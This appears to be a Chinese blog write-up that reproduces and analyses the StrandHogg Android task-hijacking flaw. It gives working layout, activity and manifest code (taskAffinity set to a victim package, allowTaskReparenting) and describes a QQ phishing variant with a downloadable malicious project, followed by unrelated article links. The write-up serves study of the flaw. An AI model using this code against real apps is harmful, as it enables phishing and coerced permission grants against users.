文章作者MG1937

CNBLOG博客:ALDYS4

QQ:3496925334

0x00 StrandHogg漏洞详情



StrandHogg漏洞 CVE编号:暂无

[漏洞危害]

近日,Android平台上发现了一个高危漏洞

该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限

或者进行恶意钓鱼攻击

由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前

使得用户并没有意识到自己已经遭到攻击

[漏洞影响Android版本]

至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10

[漏洞利用条件]

几乎无条件即可利用此漏洞,即使在无Root机型上利用此漏洞也轻而易举

目前已发现36个应用恶意利用该漏洞进行攻击

0x01 漏洞复现

接下来我将新建一个完全合法的项目和一个攻击此合法App的恶意项目

并且让恶意软件劫持合法App,使恶意活动插入到合法活动之前,实现攻击目的

编译一个合法空项目并安装在手机上

项目命名为BeAttacked

包名:com.victim.app

其UI只有一个TextView控件,并且显示Hello World这段字符

该空项目假设为攻击者欲攻击的合法App

接下来新建一个利用此漏洞的恶意软件项目,命名为Attack

布局代码

activity_main.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">

</textview></linearlayout>

如上述布局代码所示,该布局将只显示Innocent这段字符

新建一个布局,并且假设这个新建的布局为恶意活动显示的布局

attack.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">

</textview></linearlayout>

同理,该布局将只显示 Attack Success! 这段字符

接下来新建Innocent类和Attack类,两个类分别显示activity_main和attack这两个布局

我们假设Attack这个类为恶意活动,我不想让用户在启动恶意软件时看到恶意活动而怀疑软件的真实意图

我想让用户在启动软件时只看到无害的活动,从而隐藏软件的真实意图,那么要如何实现呢

我可以预先启动Attack类,紧接着启动Innocent类,这样用户在页面上只能看见最顶层的Innocent类,而不是恶意活动

MainActivity类

public class MainActivity extends AppCompatActivity {

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动
finish();
}
}

接下来分析代码

我让程序创建了成员变量分别为innocent,attack的两个Intent对象

attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag

带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响

其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag

带有该Flag的Intent创建的活动将不显示过度动画

接着我调用了startActivities方法先后启动attack和innocent这两个活动

注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层

所以用户最终看到的活动只有Innocent这个无害活动

而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性

代码已经编写完毕,还有一个问题,攻击者要怎么利用漏洞使得恶意活动插入在合法活动之前呢?

AndroidManifest.xml中编辑代码

<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true
-->

代码中,恶意活动的taskAffinity属性就是欲攻击应用的包名

allowTaskReparenting属性为true,这两个属性设置完成后就能使得恶意活动插入到合法活动前了,

为什么这么设置?这就涉及到任务相似性和是否允许活动转移的问题了,这个后面讲,先复现漏洞

编译恶意软件,先打开恶意软件,使得恶意活动在后台就绪,接着再打开欲攻击的合法app

可以发现合法活动已经被恶意活动替代了!

接下来看复现漏洞的GIF图

漏洞成功复现!

0x02 漏洞原理分析

此漏洞利用涉及到任务栈问题,稍微复杂,所以我画了一张图来阐述为什么恶意活动可以插入到合法活动前

在分析之前请先读图,帮助理解



读完图首先就是要理解allowTaskReparenting这个属性的作用是什么

官方文档如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent

官方文档的解释:当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)

我对官方文档的理解:

假设存在一个任务栈,将此任务栈命名为Task_1

Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见

假设Activity_1的allowTaskReparenting属性为true

Activity_2的allowTaskReparenting属性为默认值false

当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台

但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1,

而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了

理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了

taskAffinity直接翻译过来就是任务相关性,

官方文档对该属性的解释为:

从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。

而确定应用相似性的属性就是taskAffinity

首先要知道,若应用没有特别定义taskAffinity的内容的话

则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中

重新查看恶意活动的清单文件代码

<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">

而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中

需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈

这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了

接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台

至此,整个攻击流程结束

0x03 漏洞利用及其危害

在0x01中,我已经完成了漏洞复现

为了展现出该漏洞的具体危害,我对复现过程中的Attack类及其布局进行了修改

将Attack类的taskAffinity属性改为腾讯QQ的包名,编译并安装

可以看到我将恶意活动的布局修改为钓鱼页面,真正展现出这个漏洞的危害性

攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击

最后放出我修改过的恶意软件项目:

StrandHogg.zip 提取码: hci6

【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗的更多相关文章

  1. [原创]Android Studio的Instant Run(即时安装)原理分析和源码浅析

    Android Studio升级到2.0之后,新增了Instant Run功能,该功能可以热替换apk中的部分代码,大幅提高测试安装的效率. 但是,由于我的项目中自定义了一些ClassLoader,当 ...

  2. Android中为APP创建快捷方式的原理(自己的理解)

    我们首先来看Android中为APP创建快捷方式的原理: 从图上可以看出,Android大致分7步完成快捷方式的创建: 第一步:Android系统的launcher程序会调用它的pickShortcu ...

  3. ScrollView嵌套ListView,ListView完全展开及makeMeasureSpec测量机制原理分析

    在实际应用中,经常会碰到非常规的布局要求,比如说在ScrollView里嵌套ListView,ScrollView和ListView都是可以滚动的控件,这样布局看似很奇怪,但是有些效果又不得不这样做. ...

  4. Firmware 加载原理分析【转】

    转自:http://blog.csdn.net/dxdxsmy/article/details/8669840 [-] 原理分析 实现机制 总结   前言 前段时间移植 wifi 驱动到 Androi ...

  5. iOS App Crash原理分析

    预备知识:OS X系统分析 1.内核XNU是Darwin的核心,也是整个OS X的核心.XNU本身由以下几个组件构成: Mach微核心 BSD层 libKern I/O Kit 此外,内核是模块化的, ...

  6. 通过qemu复现路由器漏洞

    目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...

  7. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

      0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

随机推荐

  1. 每天一道面试题LeetCode 206 -- 反转链表

    LeetCode206 反转链表 思路 代码 # # @lc app=leetcode.cn id=206 lang=python3 # # [206] 反转链表 # # https://leetco ...

  2. @RequestParam、@PathVariable、 @RequestBody用法

    Get和Post请求 get方式的请求是没有请求体的.但是get有query string parameter .比如url?name=zhangsan post请求发现了两种请求体.一种是FromD ...

  3. DevEco Device Tool 2.1 Beta1在Hi3861开发板上可视化分析的体验

    DevEco Device Tool迎来了2.1 Beta1,新版本有很多亮点.在上次"DevEco Device Tool 2.1 Beta1 的Hi3861在Windows平台的编译体验 ...

  4. Mybatis学习之自定义持久层框架(二) 自定义持久层框架设计思路

    前言 上一篇文章讲到了JDBC的基本用法及其问题所在,并提出了使用Mybatis的好处,那么今天这篇文章就来说一下该如何设计一个类似Mybatis这样的持久层框架(暂时只讲思路,具体的代码编写工作从下 ...

  5. 论文笔记:RankIQA

    0.Abstract 本文提出了一种从排名中学习的无参考图像质量评估方法(RankIQA).为了解决IQA数据集大小有限的问题,本文训练了一个孪生网络,通过使用合成的已知相对图像质量排名的数据集来训练 ...

  6. Java集合,扑克牌的小项目练习

    Java集合,扑克牌的小项目练习 2小时学完了类与集合,一直二倍加跳过,集合和类的学习我觉得得多实践中去记住,光靠背,永远也背不完,学的时候记一下常用的,特殊的就行了,用的时候再查,多写代码才能会,哈 ...

  7. 10.Debug

    1.Debug模式 1.1 什么是Debug模式 是供程序员使用的程序调试工具,它可以用于查看程序的执行流程,也可以用于追踪程序执行过程来调试程序. 1.2 Debug介绍与操作流程 Debug调式, ...

  8. Ubuntu相关系统配置问题

    1.Ubuntu 16.04下安装VMware Tools 由于下载的是ubuntu-16.04.3-desktop-amd64,需要安装vmware tools,原来提取提取文件再解压的方式比较麻烦 ...

  9. CentOS 7 设置默认进入字符界面

    CentOS 7 设置默认进入字符界面原创阳阳唐 最后发布于2018-10-18 10:12:51 阅读数 3363 收藏展开准备修改之前安装的centos7的默认启动方式,安装时是图形用户界面,想让 ...

  10. 9.11 strace:跟踪进程的系统调用 、ltrace:跟踪进程调用库函数

    strace 是Linux环境下的一款程序调试工具,用于检查一个应用程序所使用的系统调用以及它所接收的系统信息.strace会追踪程序运行时的整个生命周期,输出每一个系统调用的名字.参数.返回值和执行 ...